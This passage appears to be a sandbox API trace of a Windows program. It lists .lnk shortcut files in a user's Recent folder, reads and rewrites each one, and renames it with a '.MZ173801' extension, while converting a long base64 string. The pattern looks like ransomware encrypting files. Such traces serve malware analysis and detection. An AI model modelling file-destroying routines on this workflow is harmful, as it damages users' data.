TZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.179] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e_nSEbfXaEVeTS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\e_nsebfxaevets.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.179] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.179] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.179] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x145d [0121.179] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.179] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x145d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x145d, lpOverlapped=0x0) returned 1 [0121.180] CloseHandle (hObject=0x288) returned 1 [0121.180] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e_nSEbfXaEVeTS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\e_nsebfxaevets.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.181] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x145d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x145d, lpOverlapped=0x0) returned 1 [0121.182] CloseHandle (hObject=0x288) returned 1 [0121.187] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e_nSEbfXaEVeTS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\e_nsebfxaevets.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e_nSEbfXaEVeTS.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\e_nsebfxaevets.lnk.mz173801")) returned 1 [0121.188] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa21ec0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa21ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa48020, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="f1zK fglKn.lnk", cAlternateFileName="F1ZKFG~1.LNK")) returned 1 [0121.188] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.188] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.188] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\f1zK fglKn.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\f1zk fglkn.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa21ec0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfa21ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfa48020, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x243)) returned 1 [0121.190] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.190] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.191] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\f1zK fglKn.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\f1zk fglkn.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.191] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.191] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.191] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x243 [0121.191] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.192] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x243, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x243, lpOverlapped=0x0) returned 1 [0121.192] CloseHandle (hObject=0x288) returned 1 [0121.192] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\f1zK fglKn.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\f1zk fglkn.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.193] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x243, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x243, lpOverlapped=0x0) returned 1 [0121.207] CloseHandle (hObject=0x288) returned 1 [0121.208] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\f1zK fglKn.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\f1zk fglkn.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\f1zK fglKn.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\f1zk fglkn.lnk.mz173801")) returned 1 [0121.209] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf858e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf858e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf858e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="fhtI4R.lnk", cAlternateFileName="")) returned 1 [0121.209] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.209] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.209] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fhtI4R.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fhti4r.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf858e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf858e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf858e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9eb)) returned 1 [0121.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.211] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 